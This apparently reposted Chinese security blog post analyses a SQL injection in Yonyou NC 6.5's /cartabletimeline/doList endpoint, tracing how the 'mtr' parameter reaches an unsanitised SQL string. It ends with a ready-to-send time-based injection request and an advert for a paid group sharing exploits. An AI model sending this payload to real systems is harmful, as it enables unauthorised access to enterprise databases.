用友NC 漏洞分析–cartabletimeline存在SQL注入

用友NC 漏洞分析–cartabletimeline存在SQL注入

WLwl 神农Sec 2025-02-10 02:03

扫码加圈子

获内部资料

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。

原文链接:https://forum.butian.net/article/627

作者:WLwl


0x1 漏洞描述

用友NC是一款大型erp企业管理系统与电子商务平台。用友网络科技股份有限公司用友NC存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

影响版本

用友NC6.5


0x2 漏洞分析

VsmAction
类中此处存在@Servlet
注解,也就是说当访问路径为/cartabletimeline
会直接定位到这里。

image.png

在doList
方法上面标注了@Action
标签,当我们请求/cartabletimeline/doList
的时候就会进入该doList
方法。

继续看doList
方法的详细代码

image.png

这里接收了一个参数为mtr
,并且传入getVehicleApplyInfo
函数来执行,传入时将sb
变量转为字符串类型。

getVehicleApplyInfo
函数是carTalbeService
对象进行调用的,而carTalbeService
对象是通过ICarTalbeService
接口来进行实例化。

进入ICarTalbeService
接口

image.png

追踪ICarTalbeService
接口的实现类
定位到PsndocServiceImpl

image.png

观察getVehicleApplyInfo
具体实现内容

image.png

传入参数后调用了getCarTableQueryService().getgetUserVehicleApplyInfo

查看getCarTableQueryService
内容

image.png

这里返回的是一个carTableQueryService
类型的对象,那么去看carTableQueryService
类中的getgetUserVehicleApplyInfo
方法

image.png

跟踪queryVOs
,定位到CRUDHelper

image.png

类方法getCRUDService()
 根据传入的类名AggVOCrudServiceImpl
去加载并返回一个 ILfwCRUDService
 类型的实例

定位到ILfwCRUDService

image.png

查看queryVOs
函数内容

image.png

通过服务定位器ServiceLocator
来获取一个实现了 ILfwQueryService
 接口的服务实例

定位到ILfwQueryService
实现类LfwQueryServiceImpl
参数wherePart
不为空,且不以”where”
字符结尾,则拼接进sql语句

image.png

image.png

至此代码分析结束


0x3 漏洞POC

GET /portal/pt/cartabletimeline/doList?pageId=login&mtr=1)WAITFOR+DELAY+%270:0:2%27--+ HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: keep-alivePriority: u=4

image.png


0x4 内部圈子详情介绍

我们是
神农安全
,点赞 + 在看
 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。

内部圈子介绍

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)

内部圈子
专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

知识星球——
神农安全

神农安全团队创建的知识星球一直从未涨价,永久价格40

(新人优惠卷20,扫码或者私信我即可领取)

欢迎加入星球一起交流,券后价仅40元!!! 即将满300人涨价

长期更新,更多的0day/1day漏洞POC/EXP



神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)